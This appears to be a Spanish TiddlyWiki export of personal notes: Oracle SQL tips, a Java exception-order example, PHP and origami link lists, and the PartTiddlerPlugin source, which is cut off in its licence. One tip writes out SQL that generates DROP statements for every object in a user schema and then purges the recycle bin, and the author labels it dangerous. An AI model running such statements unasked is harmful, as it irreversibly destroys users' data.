/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
Oracle dispone de un juego de funciones para utilizar los campos de las filas anteriores y posteriores.

! Usar datos de filas anteriores
Para obtener datos de filas anteriores se usa la construcción siguiente:
<code sql>
LAG(<columna>, <número de filas atrás>, <valor por defecto>)
OVER (ORDER BY <columna de ordenación>)
</code>
Por ejemplo, para obtener el dato numérico de la fila anterior y dejar {{{'0'}}}como valor por defecto, se podría hacer así:
<code sql>
SELECT
    id,
    numeros,
    LAG(numeros, 1, 0) OVER (order by id) AS anterior
FROM tabla
ORDER by id
</code>
Y el resultado tendría un aspecto similar al siguiente:
| !ID | !NUMEROS | !anterior|
| 1| 27| 0|
| 2| 31| 27|
| 3| 55| 31|
| 4| 84| 55|

! Usar datos de filas posteriores
La construcción complemetnaria de {{{LAG}}} es {{{LEAD}}}, y tiene una sintaxis idéntida a la de {{{LAG}}}:
<code sql>
LEAD(<columna>, <número de filas atrás>, <valor por defecto>)
OVER (ORDER BY <columna de ordenación>)
</code>
El ejemplo anterior resultaría como sigue:
<code sql>
SELECT
    id,
    numeros,
    LEAD(numeros, 1, 0) OVER (order by id) AS anterior
FROM tabla
ORDER by id
</code>
Y el resultado tendría un aspecto similar al siguiente:
| !ID | !NUMEROS | !anterior|
| 1| 27| 31|
| 2| 31| 55|
| 3| 55| 84|
| 4| 84| 0|
<<tiddler TspotOptions>>These [[InterfaceOptions]] for customising [[TiddlyWiki]] are saved in your browser

Your username for signing your edits. Write it as a [[WikiWord]] (eg [[JoeBloggs]])

<<option txtUserName>>
<<option chkSaveBackups>> [[SaveBackups]]
<<option chkAutoSave>> [[AutoSave]]
<<option chkRegExpSearch>> [[RegExpSearch]]
<<option chkCaseSensitiveSearch>> [[CaseSensitiveSearch]]
<<option chkAnimate>> [[EnableAnimations]]
{{select{<<selectTheme>>
<<selectPalette>>}}}
----
Also see [[AdvancedOptions]]
!Descripción
<part descripcion>
Información sobre la base de datos oracle: consultas SQL, administración y programación PL/SQL.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Página principal: http://www.oracle.com/us/products/database/index.html
** Descargas: http://www.oracle.com/technology/software/products/database/index.html
* ''Documentación:''
** Biblioteca técnica de Oracle: http://tahiti.oracle.com/
* ''Oracle Application Express:''
** Página oficial: http://apex.oracle.com/i/index.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Obtener sólo el primer resultado ^^[[<editar>|$1]]^^
Hay que utilizar la pseudocolumna {{{ROWNUM}}} que devuelve el número ordenado de fila, siento "1" la primera fila devuelta.

Por ejemplo, para obtener el primer resultado:
<code sql>
SELECT columna_1 FROM tabla WHERE ROWNUM=1
</code>
!!Permisos sobre tablas y procedimientos almacenados^^[[<editar>|$1]]^^
Si se quiere consultar un tabla desde un procedimiento almacenado no basta con tener permisos de un rol que incluya permiso {{{SELECT}}} a esa tabla, si no que debe otorgarse específicamente el permiso al usuario. Dicho de otra manera: el rol no vale p'a cascarla.
!!Orden ejecucion {{{catch}}} / {{{finally}}}^^[[<editar>|$1]]^^
En el siguiente ejemplo se muestra el orden de ejecución de {{{catch}}} y {{{finally}}} anidados:
<code java>
public class Temp1{
    public static void main(String args[]){        
        try{
            System.out.println("Entrando en try exterior");
            try{
                System.out.println("Entrando en try exterior");
                int a = 0/0;
                System.out.println("Despues de excepcion");
            }catch(Exception e){
                System.out.println("Catch interior");
                throw e;
            }finally{
                System.out.println("Finally interior");
            }
            System.out.println("Finalizando try exterior");
        }catch(Exception e){
            System.out.println("Catch exterior");
        }finally{
            System.out.println("Finally exterior");
        }        
    }
}
</code>
El resultado de la ejecución es:
{{{
Entrando en try exterior
Entrando en try exterior
Catch interior
Finally interior
Catch exterior
Finally exterior
}}}
! Introducción
Los campos numéricos separados  por puntos, comas, guiones o lo que sea son complicados de ordenar. [[Oracle]] hace una ordenación de texto, con lo que una entrada con el valor "11.Y.Z" saldrá antes que una entrada "2.Y.Z".

! Solución
La solución es descomponer el campo en partes gracias a las expresiones regulares, y ordenar cada parte consecutivamente. Por ejemplo, si tenemos un campo llamado {{{codigo}}} con los valores {{{'1.2.1'}}}, {{{'1.1'}}},  {{{'1.1.1'}}} y {{{'1.11'}}}, la forma de ordenarlos sería añadir el siguiente {{{ORDER BY}}}:
<code sql>
ORDER BY  TO_NUMBER (REGEXP_SUBSTR (codigo, '[0-9]+', 1, 1)),
          TO_NUMBER (REGEXP_SUBSTR (codigo, '[0-9]+', 1, 2)),
          TO_NUMBER (REGEXP_SUBSTR (codigo, '[0-9]+', 1, 3))
</code>
En caso de que el campo pudiera tener más subcampos (por ejemplo, existiera un valor del tipo {{{1.2.3.4}}}), tan solo habría que añadir una nueva línea con el último parámetro incrementado una unidad.

Nótese también que da igual lo que separe los números, el separador puede ser un punto, una coma, varios guiones... La función lo que hace es buscar los campos numéricos.

!Referencia
http://kr.forums.oracle.com/forums/thread.jspa?messageID=3487574
!Descripción
<part descripcion>
PHP es un lenguaje de script orientado a la generación de páginas web.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
** Tutorial Rápido: http://mundogeek.net/archivos/2009/11/26/tutorial-rapido-de-php/

* ''Librerías y frameworks:''
** Zend Framework: http://framework.zend.com/
** Symfony: http://www.symfony-project.org/
** Cake PHP: http://cakephp.org/
** Code Igniter: http://codeigniter.com/
</part>

! Ejemplos de código
<part codigo>
<<tagging [[CodigoPhp]] >>
</part>
/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
!! Documentación
* Biblioteca técnica de Oracle: http://tahiti.oracle.com/
* Referencia de funciones SQL: http://download.oracle.com/docs/cd/B19306_01/server.102/b14195/sqlqr02.htm#i83304
* SQL refence: http://download.oracle.com/docs/cd/B19306_01/server.102/b14195/toc.htm
* SQL for Analysis and Reporting: http://download-east.oracle.com/docs/cd/B19306_01/server.102/b14223/analysis.htm
</part>

! Ejemplos de código
<part codigo>
<<tagging [[CodigoPlsql]] >>
</part>
/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Función {{{DECODE}}}^^[[<editar>|$1]]^^
La función [[DECODE|http://download.oracle.com/docs/cd/B19306_01/server.102/b14200/functions040.htm]] permite reemplazar unos valores por otros. A la función se le suministran parejas de parámetros: el primero es el valor a buscar y el segundo es el valor de sustitución. El primer parámetro es siempre la columna sobre la que se hará la operación, y el último es opcional, y si se especifica actúa como valor por defecto. Tiene la siguiente forma:
<code sql>
DECODE(nombre_columna, valor1, sustituto1, valor2, sistuto2, ..., valorN, sistitutoN, [valor_defecto])
</code>
''¡Atención!'' Contrariamente a lo que se pueda pensar, si un valor no está en la lista, lo sustituye por {{{NULL}}}. Si quieres sustituir sólo unos pocos y dejar el resto intacto, hay que pasar la columna como último parámetro (valor por defecto)
!!Copia rápida de una tabla a otra nueva^^[[<editar>|$1]]^^
Para crear una nueva tabla con el contenido de otra, lo más rápido y efectivo es:
<code sql>
CREATE TABLE <nombre_tabla_nueva> as
    SELECT * FROM <nombre_tabla_original>
    WHERE <condiciones_opcionales>
; 
</code>
Esto es ideal para copiar datos a una tabla temporal.
!!Borrar todos los datos de un usuario^^[[<editar>|$1]]^^
Es tan sencillo (y peligroso) como ejecutar la siguiente sentencia [[SQL]]:
<code sql>
SELECT 'drop '||object_type||' '|| object_name|| DECODE(OBJECT_TYPE,'TABLE',' CASCADE CONSTRAINTS;',';')
FROM user_objects
;
</code>
Por si acaso se puede borrar también el contenido de la "papelera de reciclaje" de [[Oracle]]:
<code sql>
PURGE RECYCLEBIN;
</code>
P.O.S. son las siglas de "Point Of Sale" o punto de venta. En español se les conoce como [[TPV]]. Estos dispositivos son pequeñas máquinas especializadas en comunicar transacciones entre un vendedor y un proveedor de servicios. Un ejemplo típico son los aparatos por los que se pasa la tarjeta de crédito al realizar una compra. El POS se encarga de leer los datos de la tarjeta, cifrarlos, enviarlos al banco, esperar la respuesta del banco y comunicar al vendedor el resultado de la operación.
<!--{{{-->
<div class='header' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>
<div class='headerShadow'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
<div class='headerForeground'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
</div>
<div id='mainMenu' refresh='content' force='true' tiddler='MainMenu'></div>
<div id='sidebar'>
<div id='sidebarOptions' refresh='content' tiddler='SideBarOptions'></div>
<div id='sidebarTabs' refresh='content' force='true' tiddler='SideBarTabs'></div>
</div>
<div id='displayArea'>
<div id='messageArea'></div>
<div id='tiddlersBar' refresh='none' ondblclick='config.macros.tiddlersBar.onTiddlersBarAction(event)'></div>
<div id='tiddlerDisplay'></div>
</div>
<!--}}}-->
<<showtoc>>
!Descripción
<part descripcion>
La papiroflexia es el arte de construir figuras mediante el plegado sistemático y meticuloso de papel. Esta disciplina proviene de Japón y su nombre original es origami.
</part>
!Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Origami

!! Asociaciones
* Grupo Zaragozano de Papiroflexia: http://www.gruzapa.org/
* Asociación Española de Papiroflexia: http://www.pajarita.biz/
* Origami Chile: http://www.origamichile.cl/

!! Colecciones de tutoriales y modelos
* Modelos 3D de construcción: http://www.origami.org.uk/
* Papiroflexia en Sector Matemática: http://www.sectormatematica.cl/origami.htm
* Origami modular: http://www.origamimodular.com.ar/

!! Figuras
* Planeador Omniwing: http://www.omniwing.com/
* Otra guía para montar el Omniwing: http://www.instructables.com/id/How-to-Make-The-Super-Omniwing-Paper-Airplane/

!! Programas y aplicaciones
* Origami Classroom II: https://market.android.com/details?id=easyStudio.origamiII16
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
|<html><a name="Top"/></html>''Name:''|PartTiddlerPlugin|
|''Version:''|1.0.9 (2007-07-14) (patch by rjbs)|
|''Source:''|http://tiddlywiki.abego-software.de/#PartTiddlerPlugin|
|''Author:''|UdoBorkowski (ub [at] abego-software [dot] de)|
|''Licence:''|[[BSD open source license]]|
|''CoreVersion:''|2.1.3|
|''Browser:''|Firefox 1.0.4+; InternetExplorer 6.0|
!Table of Content<html><a name="TOC"/></html>
* <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Description',null, event)">Description, Syntax</a></html>
* <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Applications',null, event)">Applications</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('LongTiddler',null, event)">Refering to Paragraphs of a Longer Tiddler</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Citation',null, event)">Citation Index</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('TableCells',null, event)">Creating "multi-line" Table Cells</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Tabs',null, event)">Creating Tabs</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Sliders',null, event)">Using Sliders</a></html>
* <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Revisions',null, event)">Revision History</a></html>
* <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Code',null, event)">Code</a></html>
!Description<html><a name="Description"/></html>
With the {{{<part aPartName> ... </part>}}} feature you can structure your tiddler text into separate (named) parts. 
Each part can be referenced as a "normal" tiddler, using the "//tiddlerName//''/''//partName//" syntax (e.g. "About/Features").  E.g. you may create links to the parts (e.g. {{{[[Quotes/BAX95]]}}} or {{{[[Hobbies|AboutMe/Hobbies]]}}}), use it in {{{<<tiddler...>>}}} or {{{<<tabs...>>}}} macros etc.


''Syntax:'' 
|>|''<part'' //partName// [''hidden''] ''>'' //any tiddler content// ''</part>''|
|//partName//|The name of the part. You may reference a part tiddler with the combined tiddler name "//nameOfContainerTidder//''/''//partName//. <<br>>If you use a partName containing spaces you need to quote it (e.g. {{{"Major Overview"}}} or {{{[[Shortcut List]]}}}).|
|''hidden''|When defined the content of the part is not displayed in the container tiddler. But when the part is explicitly referenced (e.g. in a {{{<<tiddler...>>}}} macro or in a link) the part's content is displayed.|
|<html><i>any&nbsp;tiddler&nbsp;content</i></html>|<html>The content of the part.<br>A part can have any content that a "normal" tiddler may have, e.g. you may use all the formattings and macros defined.</html>|
|>|~~Syntax formatting: Keywords in ''bold'', optional parts in [...]. 'or' means that exactly one of the two alternatives must exist.~~|
<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!Applications<html><a name="Applications"/></html>
!!Refering to Paragraphs of a Longer Tiddler<html><a name="LongTiddler"/></html>
Assume you have written a long description in a tiddler and now you want to refer to the content of a certain paragraph in that tiddler (e.g. some definition.) Just wrap the text with a ''part'' block, give it a nice name, create a "pretty link" (like {{{[[Discussion Groups|Introduction/DiscussionGroups]]}}}) and you are done.

Notice this complements the approach to first writing a lot of small tiddlers and combine these tiddlers to one larger tiddler in a second step (e.g. using the {{{<<tiddler...>>}}} macro). Using the ''part'' feature you can first write a "classic" (longer) text that can be read "from top to bottom" and later "reuse" parts of this text for some more "non-linear" reading.

<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!!Citation Index<html><a name="Citation"/></html>
Create a tiddler "Citations" that contains your "citations". 
Wrap every citation with a part and a proper name. 

''Example''
{{{
<part BAX98>Baxter, Ira D. et al: //Clone Detection Using Abstract Syntax Trees.// 
in //Proc. ICSM//, 1998.</part>

<part BEL02>Bellon, Stefan: //Vergleich von Techniken zur Erkennung duplizierten Quellcodes.// 
Thesis, Uni Stuttgart, 2002.</part>

<part DUC99>Ducasse, Stéfane et al: //A Language Independent Approach for Detecting Duplicated Code.// 
in //Proc. ICSM//, 1999.</part>
}}}

You may now "cite" them just by using a pretty link like {{{[[Citations/BAX98]]}}} or even more pretty, like this {{{[[BAX98|Citations/BAX98]]}}}.

<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!!Creating "multi-line" Table Cells<html><a name="TableCells"/></html>
You may have noticed that it is hard to create table cells with "multi-line" content. E.g. if you want to create a bullet list inside a table cell you cannot just write the bullet list
{{{
* Item 1
* Item 2
* Item 3
}}}
into a table cell (i.e. between the | ... | bars) because every bullet item must start in a new line but all cells of a table row must be in one line.

Using the ''part'' feature this problem can be solved. Just create a hidden part that contains the cells content and use a {{{<<tiddler >>}}} macro to include its content in the table's cell.

''Example''
{{{
|!Subject|!Items|
|subject1|<<tiddler ./Cell1>>|
|subject2|<<tiddler ./Cell2>>|

<part Cell1 hidden>
* Item 1
* Item 2
* Item 3
</part>
...
}}}

Notice that inside the {{{<<tiddler ...>>}}} macro you may refer to the "current tiddler" using the ".".

BTW: The same approach can be used to create bullet lists with items that contain more than one line.

<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!!Creating Tabs<html><a name="Tabs"/></html>
The build-in {{{<<tabs ...>>}}} macro requires that you defined an additional tiddler for every tab it displays. When you want to have "nested" tabs you need to define a tiddler for the "main tab" and one for every tab it contains. I.e. the definition of a set of tabs that is visually displayed at one place is distributed across multiple tiddlers.

With the ''part'' feature you can put the complete definition in one tiddler, making it easier to keep an overview and maintain the tab sets.

''Example''
The standard tabs at the sidebar are defined by the following eight tiddlers:
* SideBarTabs
* TabAll
* TabMore
* TabMoreMissing
* TabMoreOrphans
* TabMoreShadowed
* TabTags
* TabTimeline

Instead of these eight tiddlers one could define the following SideBarTabs tiddler that uses the ''part'' feature:
{{{
<<tabs txtMainTab 
    Timeline Timeline SideBarTabs/Timeline 
    All 'All tiddlers' SideBarTabs/All 
    Tags 'All tags' SideBarTabs/Tags 
    More 'More lists' SideBarTabs/More>>
<part Timeline hidden><<timeline>></part>
<part All hidden><<list all>></part>
<part Tags hidden><<allTags>></part>
<part More hidden><<tabs txtMoreTab 
    Missing 'Missing tiddlers' SideBarTabs/Missing 
    Orphans 'Orphaned tiddlers' SideBarTabs/Orphans 
    Shadowed 'Shadowed tiddlers' SideBarTabs/Shadowed>></part>
<part Missing hidden><<list missing>></part>
<part Orphans hidden><<list orphans>></part>
<part Shadowed hidden><<list shadowed>></part>
}}}

Notice that you can easily "overwrite" individual parts in separate tiddlers that have the full name of the part.

E.g. if you don't like the classic timeline tab but only want to see the 100 most recent tiddlers you could create a tiddler "~SideBarTabs/Timeline" with the following content:
{{{
<<forEachTiddler 
		sortBy 'tiddler.modified' descending 
		write '(index < 100) ? "* [["+tiddler.title+"]]\n":""'>>
}}}
<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!!Using Sliders<html><a name="Sliders"/></html>
Very similar to the build-in {{{<<tabs ...>>}}} macro (see above) the {{{<<slider ...>>}}} macro requires that you defined an additional tiddler that holds the content "to be slid". You can avoid creating this extra tiddler by using the ''part'' feature

''Example''
In a tiddler "About" we may use the slider to show some details that are documented in the tiddler's "Details" part.
{{{
...
<<slider chkAboutDetails About/Details details "Click here to see more details">>
<part Details hidden>
To give you a better overview ...
</part>
...
}}}

Notice that putting the content of the slider into the slider's tiddler also has an extra benefit: When you decide you need to edit the content of the slider you can just doubleclick the content, the tiddler opens for editing and you can directly start editing the content (in the part section). In the "old" approach you would doubleclick the tiddler, see that the slider is using tiddler X, have to look for the tiddler X and can finally open it for editing. So using the ''part'' approach results in a much short workflow.

<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!Revision history<html><a name="Revisions"/></html>
* v1.0.9 (2007-07-14)
** Bugfix: Error when using the SideBarTabs example and switching between "More" and "Shadow". Thanks to cmari for reporting the issue.
* v1.0.8 (2007-06-16)
** Speeding up display of tiddlers containing multiple pard definitions. Thanks to Paco Rivière for reporting the issue.
** Support "./partName" syntax inside <<tabs ...>> macro
* v1.0.7 (2007-03-07)
** Bugfix: <<tiddler "./partName">> does not always render correctly after a refresh (e.g. like it happens when using the "Include" plugin). Thanks to Morris Gray for reporting the bug.
* v1.0.6 (2006-11-07)
** Bugfix: cannot edit tiddler when UploadPlugin by Bidix is installed. Thanks to José Luis González Castro for reporting the bug.
* v1.0.5 (2006-03-02)
** Bugfix: Example with multi-line table cells does not work in IE6. Thanks to Paulo Soares for reporting the bug.
* v1.0.4 (2006-02-28)
** Bugfix: Shadow tiddlers cannot be edited (in TW 2.0.6). Thanks to Torsten Vanek for reporting the bug.
* v1.0.3 (2006-02-26)
** Adapt code to newly introduced Tiddler.prototype.isReadOnly() function (in TW 2.0.6). Thanks to Paulo Soares for reporting the problem.
* v1.0.2 (2006-02-05)
** Also allow other macros than the "tiddler" macro use the "." in the part reference (to refer to "this" tiddler)
* v1.0.1 (2006-01-27)
** Added Table of Content for plugin documentation. Thanks to RichCarrillo for suggesting.
** Bugfix: newReminder plugin does not work when PartTiddler is installed. Thanks to PauloSoares for reporting.
* v1.0.0 (2006-01-25)
** initial version
<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!Code<html><a name="Code"/></html>
<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>
***/
//{{{
//============================================================================
//                           PartTiddlerPlugin

// Ensure that the PartTiddler Plugin is only installed once.
//
if (!version.extensions.PartTiddlerPlugin) {



version.extensions.PartTiddlerPlugin = {
    major: 1, minor: 0, revision: 9,
    date: new Date(2007, 6, 14), 
    type: 'plugin',
    source: "http://tiddlywiki.abego-software.de/#PartTiddlerPlugin"
};

if (!window.abego) window.abego = {};
if (version.major < 2) alertAndThrow("PartTiddlerPlugin requires TiddlyWiki 2.0 or newer.");

//============================================================================
// Common Helpers

// Looks for the next newline, starting at the index-th char of text. 
//
// If there are only whitespaces between index and the newline 
// the index behind the newline is returned, 
// otherwise (or when no newline is found) index is returned.
//
var skipEmptyEndOfLine = function(text, index) {
	var re = /(\n|[^\s])/g;
	re.lastIndex = index;
	var result = re.exec(text);
	return (result && text.charAt(result.index) == '\n') 
			? result.index+1
			: index;
}


//============================================================================
// Constants

var partEndOrStartTagRE = /(<\/part>)|(<part(?:\s+)((?:[^>])+)>)/mg;
var partEndTagREString = "<\\/part>";
var partEndTagString = "</part>";

//============================================================================
// Plugin Specific Helpers

// Parse the parameters inside a <part ...> tag and return the result.
//
// @return [may be null] {partName: ..., isHidden: ...}
//
var parseStartTagParams = function(paramText) {
	var params = paramText.readMacroParams();
	if (params.length == 0 || params[0].length == 0) return null;
	
	var name = params[0];
	var paramsIndex = 1;
	var hidden = false;
	if (paramsIndex < params.length) {
		hidden = params[paramsIndex] == "hidden";
		paramsIndex++;
	}
	
	return {
		partName: name, 
		isHidden: hidden
	};
}

// Returns the match to the next (end or start) part tag in the text, 
// starting the search at startIndex.
// 
// When no such tag is found null is returned, otherwise a "Match" is returned:
// [0]: full match
// [1]: matched "end" tag (or null when no end tag match)
// [2]: matched "start" tag (or null when no start tag match)
// [3]: content of start tag (or null if no start tag match)
//
var findNextPartEndOrStartTagMatch = function(text, startIndex) {
	var re = new RegExp(partEndOrStartTagRE);
	re.lastIndex = startIndex;
	var match = re.exec(text);
	return match;
}

//============================================================================
// Formatter

// Process the <part ...> ... </part> starting at (w.source, w.matchStart) for formatting.
//
// @return true if a complete part section (including the end tag) could be processed, false otherwise.
//
var handlePartSection = function(w) {
	var tagMatch = findNextPartEndOrStartTagMatch(w.source, w.matchStart);
	if (!tagMatch) return false;
	if (tagMatch.index != w.matchStart || !tagMatch[2]) return false;

	// Parse the start tag parameters
	var arguments = parseStartTagParams(tagMatch[3]);
	if (!arguments) return false;
	
	// Continue processing
	var startTagEndIndex = skipEmptyEndOfLine(w.source, tagMatch.index + tagMatch[0].length);
	var endMatch = findNextPartEndOrStartTagMatch(w.source, startTagEndIndex);
	if (endMatch && endMatch[1]) {
		if (!arguments.isHidden) {
			w.nextMatch = startTagEndIndex;
			w.subWikify(w.output,partEndTagREString);
		}
		w.nextMatch = skipEmptyEndOfLine(w.source, endMatch.index + endMatch[0].length);
		
		return true;
	}
	return false;
}

config.formatters.push( {
    name: "part",
    match: "<part\\s+[^>]+>",
	
	handler: function(w) {
		if (!handlePartSection(w)) {
			w.outputText(w.output,w.matchStart,w.matchStart+w.matchLength);
		}
	}
} )

//============================================================================
// Extend "fetchTiddler" functionality to also recognize "part"s of tiddlers 
// as tiddlers.

var currentParent = null; // used for the "." parent (e.g. in the "tiddler" macro)

// Return the match to the first <part ...> tag of the text that has the
// requrest partName.
//
// @return [may be null]
//
var findPartStartTagByName = function(text, partName) {
	var i = 0;
	
	while (true) {
		var tagMatch = findNextPartEndOrStartTagMatch(text, i);
		if (!tagMatch) return null;

		if (tagMatch[2]) {
			// Is start tag
	
			// Check the name
			var arguments = parseStartTagParams(tagMatch[3]);
			if (arguments && arguments.partName == partName) {
				return tagMatch;
			}
		}
		i = tagMatch.index+tagMatch[0].length;
	}
}

// Return the part "partName" of the given parentTiddler as a "readOnly" Tiddler 
// object, using fullName as the Tiddler's title. 
//
// All remaining properties of the new Tiddler (tags etc.) are inherited from 
// the parentTiddler.
// 
// @return [may be null]
//
var getPart = function(parentTiddler, partName, fullName) {
	var text = parentTiddler.text;
	var startTag = findPartStartTagByName(text, partName);
	if (!startTag) return null;
	
	var endIndexOfStartTag = skipEmptyEndOfLine(text, startTag.index+startTag[0].length);
	var indexOfEndTag = text.indexOf(partEndTagString, endIndexOfStartTag);

	if (indexOfEndTag >= 0) {
		var partTiddlerText = text.substring(endIndexOfStartTag,indexOfEndTag);
		var partTiddler = new Tiddler();
		partTiddler.set(
						fullName,
						partTiddlerText,
						parentTiddler.modifier,
						parentTiddler.modified,
						parentTiddler.tags,
						parentTiddler.created);
		partTiddler.abegoIsPartTiddler = true;
		return partTiddler;
	}
	
	return null;
}

// Hijack the store.fetchTiddler to recognize the "part" addresses.
//
var hijackFetchTiddler = function() {
	var oldFetchTiddler = store.fetchTiddler ;
	store.fetchTiddler = function(title) {
		var result = oldFetchTiddler.apply(this, arguments);
		if (!result && title) {
			if (title.title) title = title.title;
			var i = title.lastIndexOf('/');
			if (i > 0) {
				var parentName = title.substring(0, i);
				var partName = title.substring(i+1);
				var parent = (parentName == ".") 
						? store.resolveTiddler(currentParent)
						: oldFetchTiddler.apply(this, [parentName]);
				if (parent) {
					return getPart(parent, partName, parent.title+"/"+partName);
				}
			}
		}
		return result;	
	};
};

// for debugging the plugin is not loaded through the systemConfig mechanism but via a script tag. 
// At that point in the "store" is not yet defined. In that case hijackFetchTiddler through the restart function.
// Otherwise hijack now.
if (!store) {
	var oldRestartFunc = restart;
	window.restart = function() {
		hijackFetchTiddler();
		oldRestartFunc.apply(this,arguments);
	};
} else
	hijackFetchTiddler();




// The user must not edit a readOnly/partTiddler
//

config.commands.editTiddler.oldIsReadOnlyFunction = Tiddler.prototype.isReadOnly;

Tiddler.prototype.isReadOnly = function() {
	// Tiddler.isReadOnly was introduced with TW 2.0.6.
	// For older version we explicitly check the global readOnly flag
	if (config.commands.editTiddler.oldIsReadOnlyFunction) {
		if (config.commands.editTiddler.oldIsReadOnlyFunction.apply(this, arguments)) return true;
	} else {
		if (readOnly) return true;
	}

	return this.abegoIsPartTiddler;
}

config.commands.editTiddler.handler = function(event,src,title)
{
	var t = store.getTiddler(title);
	// Edit the tiddler if it either is not a tiddler (but a shadowTiddler)
	// or the tiddler is not readOnly
	if(!t || !t.abegoIsPartTiddler)
		{
		clearMessage();
		story.displayTiddler(null,title,DEFAULT_EDIT_TEMPLATE);
		story.focusTiddler(title,"text");
		return false;
		}
}

// To allow the "./partName" syntax in macros we need to hijack 
// the invokeMacro to define the "currentParent" while it is running.
// 
var oldInvokeMacro = window.invokeMacro;
function myInvokeMacro(place,macro,params,wikifier,tiddler) {
	var oldCurrentParent = currentParent;
	if (tiddler) currentParent = tiddler;
	try {
		oldInvokeMacro.apply(this, arguments);
	} finally {
		currentParent = oldCurrentParent;
	}
}
window.invokeMacro = myInvokeMacro;

// To correctly support the "./partName" syntax while refreshing we need to hijack 
// the config.refreshers.tiddlers to define the "currentParent" while it is running.
// 
(function() {
	var oldTiddlerRefresher= config.refreshers.tiddler;
	config.refreshers.tiddler = function(e,changeList) {
		var oldCurrentParent = currentParent;
		try {
			currentParent = e.getAttribute("tiddler");
			return oldTiddlerRefresher.apply(this,arguments);
		} finally {
			currentParent = oldCurrentParent;
		}
	};
})();

// Support "./partName" syntax inside <<tabs ...>> macro
(function() {
	var extendRelativeNames = function(e, title) {
		var nodes = e.getElementsByTagName("a");
		for(var i=0; i<nodes.length; i++) {
			var node = nodes[i];
			var s = node.getAttribute("content");
			if (s && s.indexOf("./") == 0)
				node.setAttribute("content",title+s.substr(1));
		}
	};
	var oldHandler = config.macros.tabs.handler;
	config.macros.tabs.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
		var result = oldHandler.apply(this,arguments);
		if (tiddler)
			extendRelativeNames(place, tiddler.title);
		return result;
	};
})();

// Scroll the anchor anchorName in the viewer of the given tiddler visible.
// When no tiddler is defined use the tiddler of the target given event is used.
window.scrollAnchorVisible = function(anchorName, tiddler, evt) {
	var tiddlerElem = null;
	if (tiddler) {
		tiddlerElem = document.getElementById(story.idPrefix + tiddler);
	}
	if (!tiddlerElem && evt) {
		var target = resolveTarget(evt);
		tiddlerElem = story.findContainingTiddler(target);
	}
	if (!tiddlerElem) return;

	var children = tiddlerElem.getElementsByTagName("a");
	for (var i = 0; i < children.length; i++) {
		var child = children[i];
		var name = child.getAttribute("name");
		if (name == anchorName) {
			var y = findPosY(child);
			window.scrollTo(0,y);
			return;
		}
	}
}

} // of "install only once"
//}}}

/***
<html><sub><a href="javascript:;" onclick="scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!Licence and Copyright
Copyright (c) abego Software ~GmbH, 2006 ([[www.abego-software.de|http://www.abego-software.de]])

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:

Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.

Redistributions in binary form must reproduce the above copyright notice, this
list of conditions and the following disclaimer in the documentation and/or other
materials provided with the distribution.

Neither the name of abego Software nor the names of its contributors may be
used to endorse or promote products derived from this software without specific
prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
